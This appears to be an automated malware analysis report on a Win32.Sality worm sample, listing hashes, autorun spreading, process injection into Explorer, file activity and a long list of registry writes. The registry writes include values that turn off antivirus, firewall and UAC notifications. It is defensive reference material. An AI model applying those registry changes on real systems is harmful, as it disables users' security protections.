Win32.Sality.3_4d873a111c

by malwarelabrobot on May 11th, 2016 in Malware Descriptions.

Win32.Sality.3 (B) (Emsisoft), Win32.Sality.3 (AdAware), Virus.Win32.Sality.FD, Virus.Win32.Sality.2.FD, VirusSality.YR, GenericAutorunWorm.YR, GenericInjector.YR (Lavasoft MAS)
Behaviour: Worm, Virus, WormAutorun

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

Dynamic Analysis

Static Analysis

Network Activity

Map

Strings from Dumps

Removals

MD5: 4d873a111c8d168a19c30a330b6282b8
SHA1: 0b3e0720d3bf94714589df11cc62675164716bd3
SHA256: abff56e97ddba25366250014da7916ce8e81ac016c5ba1cb5fc06382f195eac6
SSDeep: 12288:mrLJzZnaGD5 UxMb1s15Ap/G/8/3D0Fw/tN8dkmLtpHHHrh7 hG2biY:mJ1Qvb6j8/z0FmcLbH1j0L
Size: 665400 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: TODO:
Created at: 2009-12-06 00:52:01
Analyzed on: WindowsXP SP3 32-bit

Summary:

Worm. A program that is primarily replicating on networks or removable drives.

Payload

Behaviour	Description
WormAutorun	A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Worm's file once a user opens a drive's folder in Windows Explorer.

Process activity

The Worm creates the following process(es):

%original file name%.exe:860
AppEnable.mg.exe:1092

The Worm injects its code into the following process(es):

Explorer.EXE:1572

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:860 makes changes in the file system.
The Worm creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\U0G00V7L\desktop.ini (67 bytes)
%WinDir%\system.ini (70 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns4.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\mj (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\tlg (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsJSON.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\RSBS108J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ExecDos.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\WmiInspector.dll (3039 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\lm (128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\9MI85F21\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\IpConfig.dll (4136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\NSISEncrypt.dll (3286 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\AppEnable.mg.exe (7533 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\00072364_Rar\%original file name%.exe (4545 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns3.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ilg (263456 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\ODG5ST95\desktop.ini (67 bytes)

The Worm deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsJSON.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsExec.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\mj (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\WmiInspector.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\UserInfo.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\inetc.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\AppEnable.mg.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\IpConfig.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ns3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\System.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ilg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\NSISEncrypt.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\ExecDos.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\lm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AppEnable\tlg (0 bytes)

Registry activity

The process %original file name%.exe:860 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:

[HKCU\Software\Aas]
"a4_440" = "3154413240"
"a3_694" = "697136351"
"a2_348" = "2494852592"
"a2_349" = "2502021075"
"a2_346" = "2480520333"
"a2_347" = "2487686913"
"a2_344" = "2466182607"
"a2_345" = "2473354836"
"a2_342" = "2451848284"
"a2_343" = "2459000358"
"a2_340" = "2437498720"
"a2_341" = "2444668706"
"a2_180" = "1290439859"
"a2_181" = "1297608242"
"a2_182" = "1304774293"
"a2_183" = "1311955628"
"a2_184" = "1319109686"
"a2_185" = "1326290380"
"a2_186" = "1333459393"
"a2_187" = "1340622656"
"a2_188" = "1347791963"
"a2_189" = "1354957403"
"a4_444" = "3183089724"
"a3_789" = "1344615644"
"a3_788" = "1371246781"

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusOverride" = "1"

[HKCU\Software\Aas]
"a2_749" = "1074706422"
"a2_742" = "1024518873"
"a2_743" = "1031687504"
"a2_740" = "1010185987"
"a2_741" = "1017353780"
"a2_746" = "1053203901"
"a2_747" = "1060372176"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Aas]
"a2_745" = "1046021162"
"a1_503" = "4002179237"
"a1_502" = "2339388992"
"a1_501" = "1548907886"
"a1_500" = "2220524488"
"a1_507" = "1490981494"
"a1_506" = "2003454435"
"a1_505" = "2771022340"
"a1_504" = "1613869473"
"a1_509" = "1693312641"
"a1_508" = "2843460032"
"a3_659" = "412749722"
"a3_658" = "405760891"
"a4_844" = "1755770828"
"a1_946" = "1862264604"
"a3_78" = "542637991"
"a3_79" = "549622726"
"a3_72" = "533156193"
"a3_73" = "506656128"
"a3_70" = "485103791"
"a3_71" = "525712590"
"a3_76" = "561686245"
"a3_77" = "568613636"
"a3_74" = "513568291"
"a3_75" = "554631746"
"a3_259" = "1873798154"
"a3_258" = "1866220523"
"a1_435" = "903226510"
"a1_434" = "2726320687"
"a1_433" = "1798659545"
"a1_432" = "3405852142"
"a1_431" = "4244701979"
"a1_430" = "3101998160"
"a3_251" = "1782710578"
"a3_250" = "1809280147"
"a3_253" = "1830771188"
"a3_252" = "1789764949"
"a3_255" = "1844811446"
"a3_254" = "1837822487"
"a3_257" = "1825746760"
"a3_256" = "1818692393"
"a3_784" = "1308623673"
"a3_783" = "1335193222"
"a3_782" = "1328269927"
"a3_781" = "1287147972"
"a1_636" = "2741705131"
"a3_321" = "2284435336"
"a3_320" = "2310935401"
"a3_323" = "2332478538"
"a3_322" = "2291869739"
"a3_325" = "2346910988"
"a3_324" = "2339397869"
"a3_327" = "2327338446"
"a3_326" = "2320415151"
"a3_329" = "2375379584"
"a3_328" = "2368468577"
"a3_971" = "2682835394"
"a1_729" = "2898898038"
"a1_728" = "1581160219"
"a3_439" = "3130280062"
"a3_438" = "3123369951"
"a3_435" = "3101883130"
"a3_434" = "3094824539"
"a3_437" = "3149870012"
"a3_436" = "3142426397"
"a3_431" = "3106444646"
"a3_430" = "3065901255"
"a3_433" = "3087376952"
"a3_432" = "3113879961"
"a4_818" = "1569373682"
"a4_819" = "1576542803"
"a4_810" = "1512020714"
"a4_811" = "1519189835"
"a4_812" = "1526358956"
"a4_813" = "1533528077"
"a4_814" = "1540697198"
"a4_815" = "1547866319"
"a4_816" = "1555035440"
"a4_817" = "1562204561"
"a1_670" = "652594315"
"a2_748" = "1067539547"
"a1_593" = "3043098340"
"a3_94" = "690598327"
"a3_95" = "698045910"
"a3_96" = "671534665"
"a3_97" = "678453992"
"a3_90" = "662052915"
"a3_91" = "669107282"
"a3_92" = "643004661"
"a3_93" = "649993492"
"a3_98" = "685967115"
"a3_99" = "726580138"
"a4_605" = "42350909"
"a4_604" = "35181788"
"a4_607" = "56689151"
"a4_606" = "49520030"
"a4_601" = "13674425"
"a4_600" = "6505304"
"a4_603" = "28012667"
"a4_602" = "20843546"
"a4_979" = "2723602163"
"a4_978" = "2716433042"
"a4_609" = "71027393"
"a4_608" = "63858272"
"a1_987" = "4275171476"
"a1_986" = "1183992552"
"a1_985" = "1451048983"
"a1_984" = "1065295278"
"a1_983" = "4131670602"
"a1_982" = "157231716"
"a1_981" = "810355933"
"a1_980" = "2020251909"
"a1_989" = "1848264055"
"a1_988" = "780082689"
"a3_869" = "1918293868"
"a2_744" = "1038852487"
"a1_855" = "3956582828"
"a3_655" = "383827462"
"a1_857" = "3285990132"
"a1_856" = "1758354265"
"a1_851" = "705497121"
"a1_850" = "425954634"
"a1_853" = "1850296920"
"a3_654" = "376767975"
"a1_859" = "1923456041"
"a3_657" = "431879896"
"a4_779" = "1289777963"
"a4_778" = "1282608842"
"a3_929" = "2381983272"
"a3_656" = "424825529"

[HKLM\SOFTWARE\Microsoft\Security Center]
"FirewallOverride" = "1"

[HKCU\Software\Aas]
"a4_771" = "1232424995"
"a3_651" = "388835458"
"a4_773" = "1246763237"
"a4_772" = "1239594116"
"a4_775" = "1261101479"
"a4_774" = "1253932358"
"a4_777" = "1275439721"
"a3_650" = "348370019"
"a3_653" = "369779012"
"a3_652" = "395889957"
"a4_151" = "1082537271"
"a4_150" = "1075368150"
"a4_153" = "1096875513"
"a4_152" = "1089706392"
"a4_155" = "1111213755"
"a4_154" = "1104044634"
"a4_157" = "1125551997"
"a4_156" = "1118382876"
"a4_159" = "1139890239"
"a4_158" = "1132721118"
"a1_185" = "1837264332"
"a1_184" = "381615072"
"a1_183" = "2504795406"
"a1_182" = "369503915"
"a1_181" = "2387147816"
"a1_180" = "3552716138"
"a1_963" = "279932453"
"a4_559" = "4007538639"
"a4_558" = "4000369518"
"a4_555" = "3978862155"
"a4_554" = "3971693034"
"a4_557" = "3993200397"
"a4_556" = "3986031276"
"a4_551" = "3950185671"
"a4_550" = "3943016550"
"a4_553" = "3964523913"
"a4_552" = "3957354792"
"a1_753" = "3211768591"

"a4_824" = "1612388408"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Aas]
"a4_392" = "2810295432"
"a4_391" = "2803126311"
"a4_390" = "2795957190"
"a4_397" = "2846141037"
"a4_396" = "2838971916"
"a4_395" = "2831802795"
"a4_394" = "2824633674"
"a4_399" = "2860479279"
"a4_398" = "2853310158"
"a4_865" = "1906322369"
"a4_864" = "1899153248"
"a4_867" = "1920660611"
"a1_932" = "2329215595"
"a4_866" = "1913491490"
"a1_933" = "3925253173"
"a4_861" = "1877645885"
"a3_758" = "1122262303"
"a4_860" = "1870476764"
"a1_931" = "4044046748"
"a4_863" = "1891984127"
"a1_936" = "3555627443"
"a4_862" = "1884815006"
"a1_937" = "1764492339"
"a2_405" = "2903496014"
"a2_404" = "2896316985"
"a2_407" = "2917830088"
"a2_406" = "2910660167"
"a2_401" = "2874809915"
"a2_400" = "2867655258"
"a2_403" = "2889161232"
"a2_402" = "2881994013"
"a1_935" = "3396037395"
"a2_409" = "2932162873"
"a2_408" = "2924995395"
"a2_975" = "2694927439"
"a2_974" = "2687748643"
"a2_977" = "2709262316"
"a2_976" = "2702092632"
"a2_971" = "2666243317"
"a2_970" = "2659077658"
"a2_973" = "2680593422"
"a4_896" = "2128565120"
"a2_979" = "2723594403"
"a2_978" = "2716427805"
"a1_222" = "1268710818"
"a1_223" = "646711602"
"a1_220" = "1920938287"
"a1_221" = "788696036"
"a1_226" = "590673436"
"a1_227" = "1757121373"
"a1_224" = "1387379903"
"a1_225" = "3347959957"
"a1_228" = "1929360763"
"a1_229" = "3075412475"
"a2_998" = "2859812684"
"a2_993" = "2823965636"
"a2_992" = "2816792247"
"a2_991" = "2809628339"
"a2_990" = "2802463351"
"a2_997" = "2852638440"
"a2_996" = "2845479047"
"a2_995" = "2838314396"
"a2_994" = "2831145071"
"a2_579" = "4150923379"
"a2_578" = "4143756306"
"a2_571" = "4093574252"
"a2_570" = "4086393094"
"a2_573" = "4107908834"
"a2_572" = "4100745437"
"a2_575" = "4122241935"
"a2_574" = "4115083551"
"a2_577" = "4136576890"
"a2_576" = "4129410346"
"a2_351" = "2516368408"
"a2_350" = "2509186073"
"a2_353" = "2530725138"
"a2_352" = "2523539021"
"a2_355" = "2545036221"
"a2_354" = "2537872234"
"a2_357" = "2559370502"
"a2_356" = "2552201648"
"a2_359" = "2573720948"
"a2_358" = "2566539980"
"a3_906" = "2183550307"
"a3_622" = "147491207"
"a2_193" = "1383642169"
"a2_192" = "1376476134"
"a2_191" = "1369309106"
"a2_190" = "1362125099"
"a2_197" = "1412331794"
"a2_196" = "1405141218"
"a2_195" = "1397973909"
"a2_194" = "1390807129"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Aas]
"a3_624" = "195544665"
"a2_199" = "1426657376"
"a2_198" = "1419477804"
"a3_625" = "168917752"
"a2_759" = "1146390122"
"a3_626" = "175906587"
"a2_755" = "1117721954"
"a2_754" = "1110554892"
"a2_757" = "1132053656"
"a3_627" = "183481274"
"a2_751" = "1089034676"
"a2_750" = "1081872341"
"a2_753" = "1103387820"
"a2_752" = "1096205930"
"a1_536" = "1898093126"
"a1_537" = "3194628394"
"a1_534" = "1585942136"
"a1_535" = "3899637195"
"a1_89" = "3231239904"
"a1_88" = "380032519"
"a1_530" = "3646141541"
"a1_531" = "1385041015"
"a1_85" = "336629896"
"a1_84" = "1060172304"
"a1_87" = "2151689113"
"a1_86" = "3150302155"
"a1_81" = "1919599756"
"a1_80" = "4122152733"
"a1_83" = "1071778511"
"a1_82" = "658770251"
"a3_914" = "2274560123"
"a2_898" = "2142898569"
"a1_896" = "2541323836"
"a1_890" = "2653097321"
"a2_899" = "2150077710"
"a1_67" = "2032341271"
"a1_66" = "1368364762"
"a1_65" = "3174999408"
"a3_133" = "970345548"
"a1_63" = "1042573190"
"a3_135" = "950830350"
"a3_136" = "991836577"
"a1_60" = "1532327680"
"a3_138" = "1006335587"
"a3_139" = "979823234"
"a3_684" = "625694981"
"a1_438" = "2698616629"
"a3_682" = "577634371"
"a3_683" = "584688866"
"a1_69" = "1076699772"
"a1_68" = "842042525"
"a3_228" = "1617824845"
"a3_229" = "1624875244"
"a3_224" = "1588903625"
"a3_225" = "1629901672"
"a3_226" = "1636956043"
"a3_227" = "1610836010"
"a3_220" = "1593911669"
"a3_221" = "1600966036"
"a3_222" = "1608410679"
"a3_223" = "1581849174"
"a1_408" = "2979039425"
"a1_409" = "4177696190"
"a1_402" = "2922952942"
"a1_403" = "1740745964"
"a1_400" = "3707220414"
"a1_401" = "641609807"
"a1_406" = "3768954986"
"a1_407" = "1449154668"
"a1_404" = "3182010805"
"a1_405" = "3095980485"
"a2_823" = "1605215280"
"a2_822" = "1598057793"
"a2_821" = "1590882538"
"a3_354" = "2521277451"
"a3_355" = "2528204970"
"a3_356" = "2568813773"
"a3_357" = "2576322924"
"a3_350" = "2492225207"
"a3_351" = "2499791574"
"a3_352" = "2540269385"
"a3_353" = "2547254248"
"a2_827" = "1633901168"
"a1_628" = "2259635113"
"a3_358" = "2583246223"
"a3_359" = "2556735022"
"a1_854" = "2813513865"
"a2_826" = "1626733971"
"a2_825" = "1619550745"
"a1_718" = "2451667911"
"a1_719" = "452567344"
"a1_716" = "3811238161"
"a1_717" = "2650187491"
"a1_714" = "4145963841"
"a1_715" = "1588126640"
"a1_712" = "3650557466"
"a1_713" = "2040490359"
"a1_710" = "880605534"
"a1_711" = "2499524570"
"a4_809" = "1504851593"
"a4_808" = "1497682472"
"a4_803" = "1461836867"
"a1_629" = "3745739082"
"a4_801" = "1447498625"
"a4_800" = "1440329504"
"a4_807" = "1490513351"
"a4_806" = "1483344230"
"a4_805" = "1476175109"
"a4_804" = "1469005988"
"a4_37" = "265257477"
"a4_36" = "258088356"
"a4_35" = "250919235"
"a4_34" = "243750114"
"a4_33" = "236580993"
"a4_32" = "229411872"
"a4_31" = "222242751"
"a4_30" = "215073630"
"a4_144" = "1032353424"
"a4_39" = "279595719"
"a4_38" = "272426598"
"a3_915" = "2281614490"
"a4_843" = "1748601707"
"a3_142" = "1034864615"
"a4_946" = "2487021170"
"a4_947" = "2494190291"
"a4_944" = "2472682928"
"a4_945" = "2479852049"
"a4_942" = "2458344686"
"a4_943" = "2465513807"
"a4_940" = "2444006444"
"a4_941" = "2451175565"
"a4_948" = "2501359412"

[HKCU\Software\Aas\695404737]
"28676484" = "35"

[HKCU\Software\Aas]
"a4_498" = "3570222258"
"a4_499" = "3577391379"
"a4_494" = "3541545774"
"a4_495" = "3548714895"
"a4_496" = "3555884016"
"a4_497" = "3563053137"
"a4_490" = "3512869290"
"a4_491" = "3520038411"
"a4_492" = "3527207532"
"a4_493" = "3534376653"
"a3_448" = "3194799081"
"a3_449" = "3202245640"
"a2_941" = "2451169762"
"a4_708" = "780770372"
"a4_709" = "787939493"
"a3_918" = "2303105535"
"a3_919" = "2310025758"
"a4_704" = "752093888"
"a4_705" = "759263009"
"a4_706" = "766432130"
"a4_707" = "773601251"

[HKLM\SOFTWARE\Microsoft\Security Center\Svc]
"UacDisableNotify" = "1"

[HKCU\Software\Aas]
"a4_701" = "730586525"
"a4_702" = "737755646"
"a4_703" = "744924767"
"a1_888" = "3805184293"
"a1_889" = "1883212422"
"a1_886" = "1260323045"
"a1_887" = "1610551725"
"a1_884" = "2925974189"
"a1_885" = "3065341264"
"a1_882" = "1541439853"
"a1_883" = "4271418921"
"a1_880" = "1843487397"
"a1_881" = "1774667370"
"a4_124" = "888971004"
"a4_125" = "896140125"
"a4_126" = "903309246"
"a4_127" = "910478367"
"a4_120" = "860294520"
"a4_121" = "867463641"
"a4_122" = "874632762"
"a4_123" = "881801883"
"a4_128" = "917647488"
"a4_129" = "924816609"
"a2_593" = "4251296998"
"a3_444" = "3166269973"
"a3_445" = "3206813364"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Aas]
"a1_831" = "1939356042"
"a2_592" = "4244125239"
"a1_930" = "3010084144"
"a1_948" = "1197094173"
"a4_238" = "1706250798"
"a4_239" = "1713419919"
"a4_230" = "1648897830"
"a4_231" = "1656066951"
"a4_232" = "1663236072"
"a4_233" = "1670405193"
"a4_234" = "1677574314"
"a4_235" = "1684743435"
"a4_236" = "1691912556"
"a4_237" = "1699081677"
"a1_480" = "2252327348"
"a1_723" = "3889233341"
"a1_722" = "1830764329"
"a1_721" = "3578661993"
"a1_720" = "63846404"
"a1_768" = "794250831"
"a1_727" = "2850517816"
"a1_726" = "3557636909"
"a2_643" = "314770262"
"a2_790" = "1368644300"
"a1_725" = "2101183429"
"a2_642" = "307601665"
"a1_724" = "4082381946"
"a2_641" = "300436134"
"a2_640" = "293268647"
"a2_647" = "343445727"
"a2_646" = "336286809"
"a1_158" = "168614279"
"a1_159" = "2755321703"
"a2_645" = "329119240"
"a1_150" = "1677174411"
"a1_151" = "2147183974"
"a1_152" = "1749146567"
"a1_153" = "968403622"
"a1_154" = "840553760"
"a1_155" = "4274862089"
"a1_156" = "3018149170"
"a1_157" = "3277014015"
"a1_235" = "2316919124"
"a1_234" = "781278452"
"a1_237" = "1426733848"
"a1_236" = "1871949109"
"a1_231" = "2305894969"
"a1_230" = "3645761176"
"a1_233" = "1046404483"
"a1_232" = "1134825649"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Aas]
"a1_239" = "3329795294"
"a1_238" = "3464602745"
"a2_210" = "1505509613"
"a2_211" = "1512680688"
"a2_212" = "1519846279"
"a2_213" = "1527027270"
"a2_214" = "1534194717"
"a2_215" = "1541362799"
"a2_216" = "1548528167"
"a2_217" = "1555707502"
"a2_218" = "1562863409"
"a2_219" = "1570031587"
"a1_966" = "13764121"
"a2_508" = "3641913072"
"a2_509" = "3649079642"
"a2_504" = "3613229839"
"a2_505" = "3620411986"
"a2_506" = "3627581155"
"a2_507" = "3634752004"
"a2_500" = "3584562203"
"a2_501" = "3591721720"
"a2_502" = "3598906855"
"a2_503" = "3606059568"
"a2_791" = "1375810302"
"a2_698" = "709078101"
"a2_699" = "716245643"
"a2_694" = "680397193"
"a2_695" = "687578582"
"a2_696" = "694745219"
"a2_697" = "701912702"
"a2_690" = "651727613"
"a2_691" = "658887324"
"a2_692" = "666061011"
"a2_693" = "673227840"
"a2_324" = "2322800392"
"a2_325" = "2329965322"
"a2_326" = "2337130906"
"a2_327" = "2344298896"
"a2_320" = "2294116172"
"a2_321" = "2301283298"
"a2_322" = "2308462689"
"a2_323" = "2315631496"
"a1_521" = "3039600671"
"a1_520" = "168381917"
"a1_523" = "4045400602"
"a1_522" = "1520230294"
"a2_328" = "2351464711"
"a2_329" = "2358647831"
"a1_527" = "1301954333"
"a1_526" = "3329708955"
"a2_799" = "1433161944"
"a1_998" = "2711508381"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Aas]
"a2_798" = "1425996410"
"a4_962" = "2601727106"
"a1_98" = "136322683"
"a1_99" = "3309589590"
"a1_92" = "3011385887"
"a1_93" = "3834235244"
"a1_90" = "3739977368"
"a1_91" = "3196834615"
"a1_96" = "3974066908"
"a1_97" = "1731556236"
"a1_94" = "1424957602"
"a1_95" = "1933183145"
"a1_74" = "634769102"
"a1_75" = "1334875566"
"a1_76" = "844764680"
"a1_77" = "865832306"
"a1_70" = "1991456444"
"a1_71" = "3679665331"
"a1_72" = "1253540125"
"a1_73" = "3074835568"
"a3_699" = "733118194"
"a3_698" = "725670483"
"a3_129" = "907869896"
"a3_128" = "934369961"
"a1_78" = "3741743264"
"a1_79" = "3411756076"
"a3_239" = "1730403494"
"a3_238" = "1689270279"
"a3_237" = "1682343908"
"a3_236" = "1708909381"
"a3_235" = "1701334818"
"a3_234" = "1660856963"
"a3_233" = "1653814880"
"a3_232" = "1646370241"
"a3_231" = "1672935854"
"a3_230" = "1665877263"
"a1_419" = "2600195741"
"a1_418" = "3360220697"
"a3_953" = "2520368944"
"a1_415" = "4147693680"
"a1_414" = "3609378916"
"a1_417" = "625078365"
"a1_416" = "475090455"
"a1_411" = "3445116406"
"a1_410" = "80472323"
"a1_413" = "898308107"
"a1_412" = "1803679091"
"a3_939" = "2419869154"
"a3_347" = "2504287570"
"a3_346" = "2463809843"
"a3_345" = "2456759440"
"a3_344" = "2482866289"
"a3_343" = "2475825118"
"a3_342" = "2468836287"
"a3_341" = "2427838236"
"a3_340" = "2420783869"
"a3_349" = "2485301780"
"a3_348" = "2511804917"
"a1_701" = "3677670084"
"a1_700" = "222873954"
"a1_703" = "884600964"
"a1_702" = "2229239712"
"a1_705" = "3171900917"
"a1_704" = "2806496011"
"a1_707" = "868879741"
"a1_706" = "2877822194"
"a1_709" = "4229224944"
"a1_708" = "1057585733"
"a2_360" = "2580885669"
"a4_838" = "1712756102"
"a2_361" = "2588060138"
"a4_836" = "1698417860"
"a4_837" = "1705586981"
"a4_834" = "1684079618"
"a4_835" = "1691248739"
"a4_832" = "1669741376"
"a2_362" = "2595221468"
"a4_830" = "1655403134"
"a4_831" = "1662572255"
"a4_24" = "172058904"
"a4_25" = "179228025"
"a4_26" = "186397146"
"a4_27" = "193566267"
"a4_20" = "143382420"
"a4_21" = "150551541"
"a4_22" = "157720662"
"a4_23" = "164889783"
"a4_951" = "2522866775"
"a2_364" = "2609557035"
"a4_953" = "2537205017"
"a4_952" = "2530035896"
"a4_28" = "200735388"
"a4_29" = "207904509"
"a4_957" = "2565881501"
"a2_365" = "2616723194"
"a2_366" = "2623904393"
"a2_367" = "2631073008"
"a1_743" = "331458302"
"a2_168" = "1204420511"
"a2_169" = "1211584769"
"a4_847" = "1777278191"
"a4_489" = "3505700169"
"a4_488" = "3498531048"
"a4_487" = "3491361927"
"a4_486" = "3484192806"
"a4_485" = "3477023685"
"a4_484" = "3469854564"
"a4_483" = "3462685443"
"a4_482" = "3455516322"
"a4_481" = "3448347201"
"a4_480" = "3441178080"
"a2_160" = "1147053442"
"a4_973" = "2680587437"
"a2_161" = "1154234178"
"a4_977" = "2709263921"
"a4_972" = "2673418316"
"a4_971" = "2666249195"
"a3_901" = "2147558220"
"a3_900" = "2174193453"
"a3_903" = "2162063374"
"a3_902" = "2154612719"
"a3_905" = "2209657024"
"a3_904" = "2202606753"
"a4_719" = "859630703"
"a4_718" = "852461582"
"a4_717" = "845292461"
"a4_716" = "838123340"
"a4_715" = "830954219"
"a4_714" = "823785098"
"a4_713" = "816615977"
"a4_712" = "809446856"
"a4_711" = "802277735"
"a4_710" = "795108614"
"a1_891" = "3532986572"
"a3_776" = "1251683361"
"a1_893" = "1652761614"
"a1_892" = "1352561058"
"a1_895" = "3971532881"
"a1_894" = "694984379"
"a1_897" = "1866811616"
"a3_777" = "1292288064"
"a1_899" = "1132423953"
"a1_898" = "892023835"
"a4_974" = "2687756558"
"a3_774" = "1270749039"
"a4_137" = "982169577"
"a4_136" = "975000456"
"a4_135" = "967831335"
"a4_134" = "960662214"
"a4_133" = "953493093"
"a4_132" = "946323972"
"a4_131" = "939154851"
"a4_130" = "931985730"
"a3_772" = "1222762157"
"a4_139" = "996507819"
"a4_138" = "989338698"
"a4_975" = "2694925679"
"a3_770" = "1208254955"
"a3_771" = "1215707658"
"a2_455" = "3261953812"
"a1_617" = "1174014986"
"a4_229" = "1641728709"
"a4_228" = "1634559588"
"a4_223" = "1598713983"
"a4_222" = "1591544862"
"a4_221" = "1584375741"
"a4_220" = "1577206620"
"a4_227" = "1627390467"
"a4_226" = "1620221346"
"a4_225" = "1613052225"
"a4_224" = "1605883104"
"a1_615" = "3676667066"
"a2_459" = "3290620950"
"a3_678" = "548713167"
"a1_614" = "858611915"
"a1_820" = "2740444665"
"a1_821" = "1499673933"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Aas]
"a1_822" = "3953555724"

"a1_149" = "3954723384"
"a1_148" = "331475912"
"a1_143" = "1636052331"
"a1_142" = "788060056"
"a1_141" = "1907692579"
"a1_140" = "3988338360"
"a1_147" = "4067680014"
"a1_146" = "3428432096"
"a1_145" = "2920609081"
"a1_144" = "51431374"
"a1_826" = "1942550830"
"a1_827" = "142228492"
"a2_203" = "1455326628"
"a2_202" = "1448157700"
"a2_201" = "1440990531"
"a2_200" = "1433826799"
"a2_207" = "1484010880"
"a2_206" = "1476844517"
"a2_205" = "1469676492"
"a2_204" = "1462492831"
"a2_209" = "1498344040"
"a2_208" = "1491179338"
"a2_519" = "3720779264"
"a2_518" = "3713598481"
"a2_517" = "3706429594"
"a2_516" = "3699263855"
"a2_515" = "3692098819"
"a2_514" = "3684932881"
"a2_513" = "3677774863"
"a2_512" = "3670594799"
"a2_511" = "3663413301"
"a2_510" = "3656212313"
"a2_689" = "644560351"
"a2_688" = "637393597"
"a2_687" = "630224563"
"a2_686" = "623043113"
"a2_685" = "615878167"
"a2_684" = "608709361"
"a2_683" = "601545027"
"a2_682" = "594375547"
"a2_681" = "587210390"
"a2_680" = "580042006"
"a2_337" = "2416000566"
"a2_336" = "2408818185"
"a2_335" = "2401649794"
"a2_334" = "2394483361"
"a2_333" = "2387314040"
"a2_332" = "2380149581"
"a2_331" = "2372980912"
"a2_330" = "2365815260"
"a1_554" = "187992247"
"a1_555" = "1663665399"
"a1_556" = "4066833904"
"a1_557" = "1960800268"
"a3_242" = "1718323611"
"a1_551" = "2880341406"
"a2_339" = "2430335631"
"a2_338" = "2423165069"
"a4_673" = "529851137"
"a1_918" = "2467092587"
"a1_919" = "2991552878"
